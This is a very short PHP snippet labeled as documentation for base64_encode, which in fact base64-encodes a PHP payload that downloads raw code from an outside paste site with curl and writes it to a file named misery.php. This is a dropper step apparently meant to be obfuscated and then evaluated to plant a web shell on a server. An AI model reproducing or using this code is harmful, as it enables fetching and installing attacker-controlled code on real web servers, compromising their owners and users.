- base64_encode: documentation ( source)
<?php
base64_encode('$url=\'http://paste.neurohack.com/raw/YM77y/\';$path=\'./misery.php\';$ch=curl_init($url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);$data=curl_exec($ch);curl_close($ch);file_put_contents($path, $data);');